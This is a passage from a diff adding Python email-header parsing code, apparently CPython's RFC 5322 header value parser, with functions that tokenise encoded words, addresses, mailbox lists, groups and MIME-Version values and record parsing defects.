+ + non_printables = _non_printable_finder(xtext) + if non_printables: + xtext.defects.append(errors.NonPrintableDefect(non_printables)) + if utils._has_surrogates(xtext): + xtext.defects.append(errors.UndecodableBytesDefect( + "Non-ASCII characters found in header token")) + +def _get_ptext_to_endchars(value, endchars): + """Scan printables/quoted-pairs until endchars and return unquoted ptext. + + This function turns a run of qcontent, ccontent-without-comments, or + dtext-with-quoted-printables into a single string by unquoting any + quoted printables. It returns the string, the remaining value, and + a flag that is True iff there were any quoted printables decoded. + + """ + fragment, *remainder = _wsp_splitter(value, 1) + vchars = [] + escape = False + had_qp = False + for pos in range(len(fragment)): + if fragment[pos] == '\\': + if escape: + escape = False + had_qp = True + else: + escape = True + continue + if escape: + escape = False + elif fragment[pos] in endchars: + break + vchars.append(fragment[pos]) + else: + pos = pos + 1 + return ''.join(vchars), ''.join([fragment[pos:]] + remainder), had_qp + +def get_fws(value): + """FWS = 1*WSP + + This isn't the RFC definition. We're using fws to represent tokens where + folding can be done, but when we are parsing the *un*folding has already + been done so we don't need to watch out for CRLF. + + """ + newvalue = value.lstrip() + fws = WhiteSpaceTerminal(value[:len(value)-len(newvalue)], 'fws') + return fws, newvalue + +def get_encoded_word(value): + """ encoded-word = "=?" charset "?" encoding "?" encoded-text "?=" + + """ + ew = EncodedWord() + if not value.startswith('=?'): + raise errors.HeaderParseError( + "expected encoded word but found {}".format(value)) + tok, *remainder = value[2:].split('?=', 1) + if tok == value[2:]: + raise errors.HeaderParseError( + "expected encoded word but found {}".format(value)) + remstr = ''.join(remainder) + if len(remstr) > 1 and remstr[0] in hexdigits and remstr[1] in hexdigits: + # The ? after the CTE was followed by an encoded word escape (=XX). + rest, *remainder = remstr.split('?=', 1) + tok = tok + '?=' + rest + if len(tok.split()) > 1: + ew.defects.append(errors.InvalidHeaderDefect( + "whitespace inside encoded word")) + ew.cte = value + value = ''.join(remainder) + try: + text, charset, lang, defects = _ew.decode('=?' + tok + '?=') + except ValueError: + raise errors.HeaderParseError( + "encoded word format invalid: '{}'".format(ew.cte)) + ew.charset = charset + ew.lang = lang + ew.defects.extend(defects) + while text: + if text[0] in WSP: + token, text = get_fws(text) + ew.append(token) + continue + chars, *remainder = _wsp_splitter(text, 1) + vtext = ValueTerminal(chars, 'vtext') + _validate_xtext(vtext) + ew.append(vtext) + text = ''.join(remainder) + return ew, value + +def get_unstructured(value): + """unstructured = (*([FWS] vchar) *WSP) / obs-unstruct + obs-unstruct = *((*LF *CR *(obs-utext) *LF *CR)) / FWS) + obs-utext = %d0 / obs-NO-WS-CTL / LF / CR + + obs-NO-WS-CTL is control characters except WSP/CR/LF. + + So, basically, we have printable runs, plus control characters or nulls in + the obsolete syntax, separated by whitespace. Since RFC 2047 uses the + obsolete syntax in its specification, but requires whitespace on either + side of the encoded words, I can see no reason to need to separate the + non-printable-non-whitespace from the printable runs if they occur, so we + parse this into xtext tokens separated by WSP tokens. + + Because an 'unstructured' value must by definition constitute the entire + value, this 'get' routine does not return a remaining value, only the + parsed TokenList. + + """ + # XXX: but what about bare CR and LF? They might signal the start or + # end of an encoded word. YAGNI for now, since our current parsers + # will never send us strings with bare CR or LF. + + unstructured = UnstructuredTokenList() + while value: + if value[0] in WSP: + token, value = get_fws(value) + unstructured.append(token) + continue + if value.startswith('=?'): + try: + token, value = get_encoded_word(value) + except errors.HeaderParseError: + # XXX: Need to figure out how to register defects when + # appropriate here. + pass + else: + have_ws = True + if len(unstructured) > 0: + if unstructured[-1].token_type != 'fws': + unstructured.defects.append(errors.InvalidHeaderDefect( + "missing whitespace before encoded word")) + have_ws = False + if have_ws and len(unstructured) > 1: + if unstructured[-2].token_type == 'encoded-word': + unstructured[-1] = EWWhiteSpaceTerminal( + unstructured[-1], 'fws') + unstructured.append(token) + continue + tok, *remainder = _wsp_splitter(value, 1) + vtext = ValueTerminal(tok, 'vtext') + _validate_xtext(vtext) + unstructured.append(vtext) + value = ''.join(remainder) + return unstructured + +def get_qp_ctext(value): + r"""ctext = + + This is not the RFC ctext, since we are handling nested comments in comment + and unquoting quoted-pairs here. We allow anything except the '()' + characters, but if we find any ASCII other than the RFC defined printable + ASCII, a NonPrintableDefect is added to the token's defects list. Since + quoted pairs are converted to their unquoted values, what is returned is + a 'ptext' token. In this case it is a WhiteSpaceTerminal, so it's value + is ' '. + + """ + ptext, value, _ = _get_ptext_to_endchars(value, '()') + ptext = WhiteSpaceTerminal(ptext, 'ptext') + _validate_xtext(ptext) + return ptext, value + +def get_qcontent(value): + """qcontent = qtext / quoted-pair + + We allow anything except the DQUOTE character, but if we find any ASCII + other than the RFC defined printable ASCII, a NonPrintableDefect is + added to the token's defects list. Any quoted pairs are converted to their + unquoted values, so what is returned is a 'ptext' token. In this case it + is a ValueTerminal. + + """ + ptext, value, _ = _get_ptext_to_endchars(value, '"') + ptext = ValueTerminal(ptext, 'ptext') + _validate_xtext(ptext) + return ptext, value + +def get_atext(value): + """atext = + + We allow any non-ATOM_ENDS in atext, but add an InvalidATextDefect to + the token's defects list if we find non-atext characters. + """ + m = _non_atom_end_matcher(value) + if not m: + raise errors.HeaderParseError( + "expected atext but found '{}'".format(value)) + atext = m.group() + value = value[len(atext):] + atext = ValueTerminal(atext, 'atext') + _validate_xtext(atext) + return atext, value + +def get_bare_quoted_string(value): + """bare-quoted-string = DQUOTE *([FWS] qcontent) [FWS] DQUOTE + + A quoted-string without the leading or trailing white space. Its + value is the text between the quote marks, with whitespace + preserved and quoted pairs decoded. + """ + if value[0] != '"': + raise errors.HeaderParseError( + "expected '\"' but found '{}'".format(value)) + bare_quoted_string = BareQuotedString() + value = value[1:] + if value[0] == '"': + token, value = get_qcontent(value) + bare_quoted_string.append(token) + while value and value[0] != '"': + if value[0] in WSP: + token, value = get_fws(value) + elif value[:2] == '=?': + try: + token, value = get_encoded_word(value) + bare_quoted_string.defects.append(errors.InvalidHeaderDefect( + "encoded word inside quoted string")) + except errors.HeaderParseError: + token, value = get_qcontent(value) + else: + token, value = get_qcontent(value) + bare_quoted_string.append(token) + if not value: + bare_quoted_string.defects.append(errors.InvalidHeaderDefect( + "end of header inside quoted string")) + return bare_quoted_string, value + return bare_quoted_string, value[1:] + +def get_comment(value): + """comment = "(" *([FWS] ccontent) [FWS] ")" + ccontent = ctext / quoted-pair / comment + + We handle nested comments here, and quoted-pair in our qp-ctext routine. + """ + if value and value[0] != '(': + raise errors.HeaderParseError( + "expected '(' but found '{}'".format(value)) + comment = Comment() + value = value[1:] + while value and value[0] != ")": + if value[0] in WSP: + token, value = get_fws(value) + elif value[0] == '(': + token, value = get_comment(value) + else: + token, value = get_qp_ctext(value) + comment.append(token) + if not value: + comment.defects.append(errors.InvalidHeaderDefect( + "end of header inside comment")) + return comment, value + return comment, value[1:] + +def get_cfws(value): + """CFWS = (1*([FWS] comment) [FWS]) / FWS + + """ + cfws = CFWSList() + while value and value[0] in CFWS_LEADER: + if value[0] in WSP: + token, value = get_fws(value) + else: + token, value = get_comment(value) + cfws.append(token) + return cfws, value + +def get_quoted_string(value): + """quoted-string = [CFWS] [CFWS] + + 'bare-quoted-string' is an intermediate class defined by this + parser and not by the RFC grammar. It is the quoted string + without any attached CFWS. + """ + quoted_string = QuotedString() + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + quoted_string.append(token) + token, value = get_bare_quoted_string(value) + quoted_string.append(token) + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + quoted_string.append(token) + return quoted_string, value + +def get_atom(value): + """atom = [CFWS] 1*atext [CFWS] + + An atom could be an rfc2047 encoded word. + """ + atom = Atom() + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + atom.append(token) + if value and value[0] in ATOM_ENDS: + raise errors.HeaderParseError( + "expected atom but found '{}'".format(value)) + if value.startswith('=?'): + try: + token, value = get_encoded_word(value) + except errors.HeaderParseError: + # XXX: need to figure out how to register defects when + # appropriate here. + token, value = get_atext(value) + else: + token, value = get_atext(value) + atom.append(token) + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + atom.append(token) + return atom, value + +def get_dot_atom_text(value): + """ dot-text = 1*atext *("." 1*atext) + + """ + dot_atom_text = DotAtomText() + if not value or value[0] in ATOM_ENDS: + raise errors.HeaderParseError("expected atom at a start of " + "dot-atom-text but found '{}'".format(value)) + while value and value[0] not in ATOM_ENDS: + token, value = get_atext(value) + dot_atom_text.append(token) + if value and value[0] == '.': + dot_atom_text.append(DOT) + value = value[1:] + if dot_atom_text[-1] is DOT: + raise errors.HeaderParseError("expected atom at end of dot-atom-text " + "but found '{}'".format('.'+value)) + return dot_atom_text, value + +def get_dot_atom(value): + """ dot-atom = [CFWS] dot-atom-text [CFWS] + + Any place we can have a dot atom, we could instead have an rfc2047 encoded + word. + """ + dot_atom = DotAtom() + if value[0] in CFWS_LEADER: + token, value = get_cfws(value) + dot_atom.append(token) + if value.startswith('=?'): + try: + token, value = get_encoded_word(value) + except errors.HeaderParseError: + # XXX: need to figure out how to register defects when + # appropriate here. + token, value = get_dot_atom_text(value) + else: + token, value = get_dot_atom_text(value) + dot_atom.append(token) + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + dot_atom.append(token) + return dot_atom, value + +def get_word(value): + """word = atom / quoted-string + + Either atom or quoted-string may start with CFWS. We have to peel off this + CFWS first to determine which type of word to parse. Afterward we splice + the leading CFWS, if any, into the parsed sub-token. + + If neither an atom or a quoted-string is found before the next special, a + HeaderParseError is raised. + + The token returned is either an Atom or a QuotedString, as appropriate. + This means the 'word' level of the formal grammar is not represented in the + parse tree; this is because having that extra layer when manipulating the + parse tree is more confusing than it is helpful. + + """ + if value[0] in CFWS_LEADER: + leader, value = get_cfws(value) + else: + leader = None + if value[0]=='"': + token, value = get_quoted_string(value) + elif value[0] in SPECIALS: + raise errors.HeaderParseError("Expected 'atom' or 'quoted-string' " + "but found '{}'".format(value)) + else: + token, value = get_atom(value) + if leader is not None: + token[:0] = [leader] + return token, value + +def get_phrase(value): + """ phrase = 1*word / obs-phrase + obs-phrase = word *(word / "." / CFWS) + + This means a phrase can be a sequence of words, periods, and CFWS in any + order as long as it starts with at least one word. If anything other than + words is detected, an ObsoleteHeaderDefect is added to the token's defect + list. We also accept a phrase that starts with CFWS followed by a dot; + this is registered as an InvalidHeaderDefect, since it is not supported by + even the obsolete grammar. + + """ + phrase = Phrase() + try: + token, value = get_word(value) + phrase.append(token) + except errors.HeaderParseError: + phrase.defects.append(errors.InvalidHeaderDefect( + "phrase does not start with word")) + while value and value[0] not in PHRASE_ENDS: + if value[0]=='.': + phrase.append(DOT) + phrase.defects.append(errors.ObsoleteHeaderDefect( + "period in 'phrase'")) + value = value[1:] + else: + try: + token, value = get_word(value) + except errors.HeaderParseError: + if value[0] in CFWS_LEADER: + token, value = get_cfws(value) + phrase.defects.append(errors.ObsoleteHeaderDefect( + "comment found without atom")) + else: + raise + phrase.append(token) + return phrase, value + +def get_local_part(value): + """ local-part = dot-atom / quoted-string / obs-local-part + + """ + local_part = LocalPart() + leader = None + if value[0] in CFWS_LEADER: + leader, value = get_cfws(value) + if not value: + raise errors.HeaderParseError( + "expected local-part but found '{}'".format(value)) + try: + token, value = get_dot_atom(value) + except errors.HeaderParseError: + try: + token, value = get_word(value) + except errors.HeaderParseError: + if value[0] != '\\' and value[0] in PHRASE_ENDS: + raise + token = TokenList() + if leader is not None: + token[:0] = [leader] + local_part.append(token) + if value and (value[0]=='\\' or value[0] not in PHRASE_ENDS): + obs_local_part, value = get_obs_local_part(str(local_part) + value) + if obs_local_part.token_type == 'invalid-obs-local-part': + local_part.defects.append(errors.InvalidHeaderDefect( + "local-part is not dot-atom, quoted-string, or obs-local-part")) + else: + local_part.defects.append(errors.ObsoleteHeaderDefect( + "local-part is not a dot-atom (contains CFWS)")) + local_part[0] = obs_local_part + try: + local_part.value.encode('ascii') + except UnicodeEncodeError: + local_part.defects.append(errors.NonASCIILocalPartDefect( + "local-part contains non-ASCII characters)")) + return local_part, value + +def get_obs_local_part(value): + """ obs-local-part = word *("." word) + """ + obs_local_part = ObsLocalPart() + last_non_ws_was_dot = False + while value and (value[0]=='\\' or value[0] not in PHRASE_ENDS): + if value[0] == '.': + if last_non_ws_was_dot: + obs_local_part.defects.append(errors.InvalidHeaderDefect( + "invalid repeated '.'")) + obs_local_part.append(DOT) + last_non_ws_was_dot = True + value = value[1:] + continue + elif value[0]=='\\': + obs_local_part.append(ValueTerminal(value[0], + 'misplaced-special')) + value = value[1:] + obs_local_part.defects.append(errors.InvalidHeaderDefect( + "'\\' character outside of quoted-string/ccontent")) + last_non_ws_was_dot = False + continue + if obs_local_part and obs_local_part[-1].token_type != 'dot': + obs_local_part.defects.append(errors.InvalidHeaderDefect( + "missing '.' between words")) + try: + token, value = get_word(value) + last_non_ws_was_dot = False + except errors.HeaderParseError: + if value[0] not in CFWS_LEADER: + raise + token, value = get_cfws(value) + obs_local_part.append(token) + if (obs_local_part[0].token_type == 'dot' or + obs_local_part[0].token_type=='cfws' and + obs_local_part[1].token_type=='dot'): + obs_local_part.defects.append(errors.InvalidHeaderDefect( + "Invalid leading '.' in local part")) + if (obs_local_part[-1].token_type == 'dot' or + obs_local_part[-1].token_type=='cfws' and + obs_local_part[-2].token_type=='dot'): + obs_local_part.defects.append(errors.InvalidHeaderDefect( + "Invalid trailing '.' in local part")) + if obs_local_part.defects: + obs_local_part.token_type = 'invalid-obs-local-part' + return obs_local_part, value + +def get_dtext(value): + r""" dtext = / obs-dtext + obs-dtext = obs-NO-WS-CTL / quoted-pair + + We allow anything except the excluded characters, but if we find any + ASCII other than the RFC defined printable ASCII, a NonPrintableDefect is + added to the token's defects list. Quoted pairs are converted to their + unquoted values, so what is returned is a ptext token, in this case a + ValueTerminal. If there were quoted-printables, an ObsoleteHeaderDefect is + added to the returned token's defect list. + + """ + ptext, value, had_qp = _get_ptext_to_endchars(value, '[]') + ptext = ValueTerminal(ptext, 'ptext') + if had_qp: + ptext.defects.append(errors.ObsoleteHeaderDefect( + "quoted printable found in domain-literal")) + _validate_xtext(ptext) + return ptext, value + +def _check_for_early_dl_end(value, domain_literal): + if value: + return False + domain_literal.append(errors.InvalidHeaderDefect( + "end of input inside domain-literal")) + domain_literal.append(ValueTerminal(']', 'domain-literal-end')) + return True + +def get_domain_literal(value): + """ domain-literal = [CFWS] "[" *([FWS] dtext) [FWS] "]" [CFWS] + + """ + domain_literal = DomainLiteral() + if value[0] in CFWS_LEADER: + token, value = get_cfws(value) + domain_literal.append(token) + if not value: + raise errors.HeaderParseError("expected domain-literal") + if value[0] != '[': + raise errors.HeaderParseError("expected '[' at start of domain-literal " + "but found '{}'".format(value)) + value = value[1:] + if _check_for_early_dl_end(value, domain_literal): + return domain_literal, value + domain_literal.append(ValueTerminal('[', 'domain-literal-start')) + if value[0] in WSP: + token, value = get_fws(value) + domain_literal.append(token) + token, value = get_dtext(value) + domain_literal.append(token) + if _check_for_early_dl_end(value, domain_literal): + return domain_literal, value + if value[0] in WSP: + token, value = get_fws(value) + domain_literal.append(token) + if _check_for_early_dl_end(value, domain_literal): + return domain_literal, value + if value[0] != ']': + raise errors.HeaderParseError("expected ']' at end of domain-literal " + "but found '{}'".format(value)) + domain_literal.append(ValueTerminal(']', 'domain-literal-end')) + value = value[1:] + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + domain_literal.append(token) + return domain_literal, value + +def get_domain(value): + """ domain = dot-atom / domain-literal / obs-domain + obs-domain = atom *("." atom)) + + """ + domain = Domain() + leader = None + if value[0] in CFWS_LEADER: + leader, value = get_cfws(value) + if not value: + raise errors.HeaderParseError( + "expected domain but found '{}'".format(value)) + if value[0] == '[': + token, value = get_domain_literal(value) + if leader is not None: + token[:0] = [leader] + domain.append(token) + return domain, value + try: + token, value = get_dot_atom(value) + except errors.HeaderParseError: + token, value = get_atom(value) + if leader is not None: + token[:0] = [leader] + domain.append(token) + if value and value[0] == '.': + domain.defects.append(errors.ObsoleteHeaderDefect( + "domain is not a dot-atom (contains CFWS)")) + if domain[0].token_type == 'dot-atom': + domain[:] = domain[0] + while value and value[0] == '.': + domain.append(DOT) + token, value = get_atom(value[1:]) + domain.append(token) + return domain, value + +def get_addr_spec(value): + """ addr-spec = local-part "@" domain + + """ + addr_spec = AddrSpec() + token, value = get_local_part(value) + addr_spec.append(token) + if not value or value[0] != '@': + addr_spec.defects.append(errors.InvalidHeaderDefect( + "add-spec local part with no domain")) + return addr_spec, value + addr_spec.append(ValueTerminal('@', 'address-at-symbol')) + token, value = get_domain(value[1:]) + addr_spec.append(token) + return addr_spec, value + +def get_obs_route(value): + """ obs-route = obs-domain-list ":" + obs-domain-list = *(CFWS / ",") "@" domain *("," [CFWS] ["@" domain]) + + Returns an obs-route token with the appropriate sub-tokens (that is, + there is no obs-domain-list in the parse tree). + """ + obs_route = ObsRoute() + while value and (value[0]==',' or value[0] in CFWS_LEADER): + if value[0] in CFWS_LEADER: + token, value = get_cfws(value) + obs_route.append(token) + elif value[0] == ',': + obs_route.append(ListSeparator) + value = value[1:] + if not value or value[0] != '@': + raise errors.HeaderParseError( + "expected obs-route domain but found '{}'".format(value)) + obs_route.append(RouteComponentMarker) + token, value = get_domain(value[1:]) + obs_route.append(token) + while value and value[0]==',': + obs_route.append(ListSeparator) + value = value[1:] + if not value: + break + if value[0] in CFWS_LEADER: + token, value = get_cfws(value) + obs_route.append(token) + if value[0] == '@': + obs_route.append(RouteComponentMarker) + token, value = get_domain(value[1:]) + obs_route.append(token) + if not value: + raise errors.HeaderParseError("end of header while parsing obs-route") + if value[0] != ':': + raise errors.HeaderParseError( "expected ':' marking end of " + "obs-route but found '{}'".format(value)) + obs_route.append(ValueTerminal(':', 'end-of-obs-route-marker')) + return obs_route, value[1:] + +def get_angle_addr(value): + """ angle-addr = [CFWS] "<" addr-spec ">" [CFWS] / obs-angle-addr + obs-angle-addr = [CFWS] "<" obs-route addr-spec ">" [CFWS] + + """ + angle_addr = AngleAddr() + if value[0] in CFWS_LEADER: + token, value = get_cfws(value) + angle_addr.append(token) + if not value or value[0] != '<': + raise errors.HeaderParseError( + "expected angle-addr but found '{}'".format(value)) + angle_addr.append(ValueTerminal('<', 'angle-addr-start')) + value = value[1:] + # Although it is not legal per RFC5322, SMTP uses '<>' in certain + # circumstances. + if value[0] == '>': + angle_addr.append(ValueTerminal('>', 'angle-addr-end')) + angle_addr.defects.append(errors.InvalidHeaderDefect( + "null addr-spec in angle-addr")) + value = value[1:] + return angle_addr, value + try: + token, value = get_addr_spec(value) + except errors.HeaderParseError: + try: + token, value = get_obs_route(value) + angle_addr.defects.append(errors.ObsoleteHeaderDefect( + "obsolete route specification in angle-addr")) + except errors.HeaderParseError: + raise errors.HeaderParseError( + "expected addr-spec or obs-route but found '{}'".format(value)) + angle_addr.append(token) + token, value = get_addr_spec(value) + angle_addr.append(token) + if value and value[0] == '>': + value = value[1:] + else: + angle_addr.defects.append(errors.InvalidHeaderDefect( + "missing trailing '>' on angle-addr")) + angle_addr.append(ValueTerminal('>', 'angle-addr-end')) + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + angle_addr.append(token) + return angle_addr, value + +def get_display_name(value): + """ display-name = phrase + + Because this is simply a name-rule, we don't return a display-name + token containing a phrase, but rather a display-name token with + the content of the phrase. + + """ + display_name = DisplayName() + token, value = get_phrase(value) + display_name.extend(token[:]) + display_name.defects = token.defects[:] + return display_name, value + + +def get_name_addr(value): + """ name-addr = [display-name] angle-addr + + """ + name_addr = NameAddr() + # Both the optional display name and the angle-addr can start with cfws. + leader = None + if value[0] in CFWS_LEADER: + leader, value = get_cfws(value) + if not value: + raise errors.HeaderParseError( + "expected name-addr but found '{}'".format(leader)) + if value[0] != '<': + if value[0] in PHRASE_ENDS: + raise errors.HeaderParseError( + "expected name-addr but found '{}'".format(value)) + token, value = get_display_name(value) + if not value: + raise errors.HeaderParseError( + "expected name-addr but found '{}'".format(token)) + if leader is not None: + token[0][:0] = [leader] + leader = None + name_addr.append(token) + token, value = get_angle_addr(value) + if leader is not None: + token[:0] = [leader] + name_addr.append(token) + return name_addr, value + +def get_mailbox(value): + """ mailbox = name-addr / addr-spec + + """ + # The only way to figure out if we are dealing with a name-addr or an + # addr-spec is to try parsing each one. + mailbox = Mailbox() + try: + token, value = get_name_addr(value) + except errors.HeaderParseError: + try: + token, value = get_addr_spec(value) + except errors.HeaderParseError: + raise errors.HeaderParseError( + "expected mailbox but found '{}'".format(value)) + if any(isinstance(x, errors.InvalidHeaderDefect) + for x in token.all_defects): + mailbox.token_type = 'invalid-mailbox' + mailbox.append(token) + return mailbox, value + +def get_invalid_mailbox(value, endchars): + """ Read everything up to one of the chars in endchars. + + This is outside the formal grammar. The InvalidMailbox TokenList that is + returned acts like a Mailbox, but the data attributes are None. + + """ + invalid_mailbox = InvalidMailbox() + while value and value[0] not in endchars: + if value[0] in PHRASE_ENDS: + invalid_mailbox.append(ValueTerminal(value[0], + 'misplaced-special')) + value = value[1:] + else: + token, value = get_phrase(value) + invalid_mailbox.append(token) + return invalid_mailbox, value + +def get_mailbox_list(value): + """ mailbox-list = (mailbox *("," mailbox)) / obs-mbox-list + obs-mbox-list = *([CFWS] ",") mailbox *("," [mailbox / CFWS]) + + For this routine we go outside the formal grammar in order to improve error + handling. We recognize the end of the mailbox list only at the end of the + value or at a ';' (the group terminator). This is so that we can turn + invalid mailboxes into InvalidMailbox tokens and continue parsing any + remaining valid mailboxes. We also allow all mailbox entries to be null, + and this condition is handled appropriately at a higher level. + + """ + mailbox_list = MailboxList() + while value and value[0] != ';': + try: + token, value = get_mailbox(value) + mailbox_list.append(token) + except errors.HeaderParseError: + leader = None + if value[0] in CFWS_LEADER: + leader, value = get_cfws(value) + if not value or value[0] in ',;': + mailbox_list.append(leader) + mailbox_list.defects.append(errors.ObsoleteHeaderDefect( + "empty element in mailbox-list")) + else: + token, value = get_invalid_mailbox(value, ',;') + if leader is not None: + token[:0] = [leader] + mailbox_list.append(token) + mailbox_list.defects.append(errors.InvalidHeaderDefect( + "invalid mailbox in mailbox-list")) + elif value[0] == ',': + mailbox_list.defects.append(errors.ObsoleteHeaderDefect( + "empty element in mailbox-list")) + else: + token, value = get_invalid_mailbox(value, ',;') + if leader is not None: + token[:0] = [leader] + mailbox_list.append(token) + mailbox_list.defects.append(errors.InvalidHeaderDefect( + "invalid mailbox in mailbox-list")) + if value and value[0] not in ',;': + # Crap after mailbox; treat it as an invalid mailbox. + # The mailbox info will still be available. + mailbox = mailbox_list[-1] + mailbox.token_type = 'invalid-mailbox' + token, value = get_invalid_mailbox(value, ',;') + mailbox.extend(token) + mailbox_list.defects.append(errors.InvalidHeaderDefect( + "invalid mailbox in mailbox-list")) + if value and value[0] == ',': + mailbox_list.append(ListSeparator) + value = value[1:] + return mailbox_list, value + + +def get_group_list(value): + """ group-list = mailbox-list / CFWS / obs-group-list + obs-group-list = 1*([CFWS] ",") [CFWS] + + """ + group_list = GroupList() + if not value: + group_list.defects.append(errors.InvalidHeaderDefect( + "end of header before group-list")) + return group_list, value + leader = None + if value and value[0] in CFWS_LEADER: + leader, value = get_cfws(value) + if not value: + # This should never happen in email parsing, since CFWS-only is a + # legal alternative to group-list in a group, which is the only + # place group-list appears. + group_list.defects.append(errors.InvalidHeaderDefect( + "end of header in group-list")) + group_list.append(leader) + return group_list, value + if value[0] == ';': + group_list.append(leader) + return group_list, value + token, value = get_mailbox_list(value) + if len(token.all_mailboxes)==0: + if leader is not None: + group_list.append(leader) + group_list.extend(token) + group_list.defects.append(errors.ObsoleteHeaderDefect( + "group-list with empty entries")) + return group_list, value + if leader is not None: + token[:0] = [leader] + group_list.append(token) + return group_list, value + +def get_group(value): + """ group = display-name ":" [group-list] ";" [CFWS] + + """ + group = Group() + token, value = get_display_name(value) + if not value or value[0] != ':': + raise errors.HeaderParseError("expected ':' at end of group " + "display name but found '{}'".format(value)) + group.append(token) + group.append(ValueTerminal(':', 'group-display-name-terminator')) + value = value[1:] + if value and value[0] == ';': + group.append(ValueTerminal(';', 'group-terminator')) + return group, value[1:] + token, value = get_group_list(value) + group.append(token) + if not value: + group.defects.append(errors.InvalidHeaderDefect( + "end of header in group")) + if value[0] != ';': + raise errors.HeaderParseError( + "expected ';' at end of group but found {}".format(value)) + group.append(ValueTerminal(';', 'group-terminator')) + value = value[1:] + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + group.append(token) + return group, value + +def get_address(value): + """ address = mailbox / group + + Note that counter-intuitively, an address can be either a single address or + a list of addresses (a group). This is why the returned Address object has + a 'mailboxes' attribute which treats a single address as a list of length + one. When you need to differentiate between to two cases, extract the single + element, which is either a mailbox or a group token. + + """ + # The formal grammar isn't very helpful when parsing an address. mailbox + # and group, especially when allowing for obsolete forms, start off very + # similarly. It is only when you reach one of @, <, or : that you know + # what you've got. So, we try each one in turn, starting with the more + # likely of the two. We could perhaps make this more efficient by looking + # for a phrase and then branching based on the next character, but that + # would be a premature optimization. + address = Address() + try: + token, value = get_group(value) + except errors.HeaderParseError: + try: + token, value = get_mailbox(value) + except errors.HeaderParseError: + raise errors.HeaderParseError( + "expected address but found '{}'".format(value)) + address.append(token) + return address, value + +def get_address_list(value): + """ address_list = (address *("," address)) / obs-addr-list + obs-addr-list = *([CFWS] ",") address *("," [address / CFWS]) + + We depart from the formal grammar here by continuing to parse until the end + of the input, assuming the input to be entirely composed of an + address-list. This is always true in email parsing, and allows us + to skip invalid addresses to parse additional valid ones. + + """ + address_list = AddressList() + while value: + try: + token, value = get_address(value) + address_list.append(token) + except errors.HeaderParseError as err: + leader = None + if value[0] in CFWS_LEADER: + leader, value = get_cfws(value) + if not value or value[0] == ',': + address_list.append(leader) + address_list.defects.append(errors.ObsoleteHeaderDefect( + "address-list entry with no content")) + else: + token, value = get_invalid_mailbox(value, ',') + if leader is not None: + token[:0] = [leader] + address_list.append(Address([token])) + address_list.defects.append(errors.InvalidHeaderDefect( + "invalid address in address-list")) + elif value[0] == ',': + address_list.defects.append(errors.ObsoleteHeaderDefect( + "empty element in address-list")) + else: + token, value = get_invalid_mailbox(value, ',') + if leader is not None: + token[:0] = [leader] + address_list.append(Address([token])) + address_list.defects.append(errors.InvalidHeaderDefect( + "invalid address in address-list")) + if value and value[0] != ',': + # Crap after address; treat it as an invalid mailbox. + # The mailbox info will still be available. + mailbox = address_list[-1][0] + mailbox.token_type = 'invalid-mailbox' + token, value = get_invalid_mailbox(value, ',') + mailbox.extend(token) + address_list.defects.append(errors.InvalidHeaderDefect( + "invalid address in address-list")) + if value: # Must be a , at this point. + address_list.append(ValueTerminal(',', 'list-separator')) + value = value[1:] + return address_list, value + +# +# XXX: As I begin to add additional header parsers, I'm realizing we probably +# have two level of parser routines: the get_XXX methods that get a token in +# the grammar, and parse_XXX methods that parse an entire field value. So +# get_address_list above should really be a parse_ method, as probably should +# be get_unstructured. +# + +def parse_mime_version(value): + """ mime-version = [CFWS] 1*digit [CFWS] "." [CFWS] 1*digit [CFWS] + + """ + # The [CFWS] is implicit in the RFC 2045 BNF. + # XXX: This routine is a bit verbose, should factor out a get_int method. + mime_version = MIMEVersion() + if not value: + mime_version.defects.append(errors.HeaderMissingRequiredValue( + "Missing MIME version number (eg: 1.0)")) + return mime_version + if value[0] in CFWS_LEADER: + token, value = get_cfws(value) + mime_version.append(token) + if not value: + mime_version.defects.append(errors.HeaderMissingRequiredValue( + "Expected MIME version number but found only CFWS")) + digits = '' + while value and value[0] != '.' and value[0] not in CFWS_LEADER: + digits += value[0] + value = value[1:] + if not digits.isdigit(): + mime_version.defects.append(errors.InvalidHeaderDefect( + "Expected MIME major version number but found {!r}".format(digits))) + mime_version.append(ValueTerminal(digits, 'xtext')) + else: + mime_version.major = int(digits) + mime_version.append(ValueTerminal(digits, 'digits')) + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + mime_version.append(token) + if not value or value[0] != '.': + if mime_version.major is not None: + mime_version.defects.append(errors.InvalidHeaderDefect( + "Incomplete MIME version; found only major number")) + if value: + mime_version.append(ValueTerminal(value, 'xtext')) + return mime_version + mime_version.append(ValueTerminal('.', 'version-separator')) + value = value[1:] + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + mime_version.append(token) + if not value: + if mime_version.major is not None: + mime_version.defects.append(errors.InvalidHeaderDefect( + "Incomplete MIME version; found only major number")) + return mime_version + digits = '' + while value and value[0] not in CFWS_LEADER: + digits += value[0] + value = value[1:] + if not digits.isdigit(): + mime_version.defects.append(errors.InvalidHeaderDefect( + "Expected MIME minor version number but found {!r}".format(digits))) + mime_version.append(ValueTerminal(digits, 'xtext')) + else: + mime_version.minor = int(digits) + mime_version.append(ValueTerminal(digits, 'digits')) + if value and value[0] in CFWS_LEADER: + token, value = get_cfws(value) + mime_version.append(token) + if value: + mime_version.defects.append(errors.InvalidHeaderDefect( + "Excess non-CFWS text after MIME version")) + mime_version.append(ValueTerminal(value, 'xtext')) + return mime_version + +def get_invalid_parameter(value): + """ Read everything up to the next ';'. + + This is outside the formal grammar. The InvalidParameter TokenList that is + returned acts like a Parameter, but the data attributes are None. + + """ + invalid_parameter = InvalidParameter() + while value and value[0] != ';': + if value[0] in PHRASE_ENDS: + invalid_parameter.append(ValueTerminal(value[0], + 'misplaced-special')) + value = value[1:] + else: + token, value = get_phrase(value) + invalid_parameter.append(token) + return invalid_parameter, value + +def get_ttext(value): + """ttext = + + We allow any non-TOKEN_ENDS in ttext, but add defects to the token's + defects list if we find non-ttext characters. We also register defects for + *any* non-printables even though the RFC doesn't exclude all of them, + because we follow the spirit of RFC 5322. + + """ + m = _non_token_end_matcher(value) + if not m: + raise errors.HeaderParseError( + "expected ttext but found '{}'".format(value)) + ttext = m.group() + value = 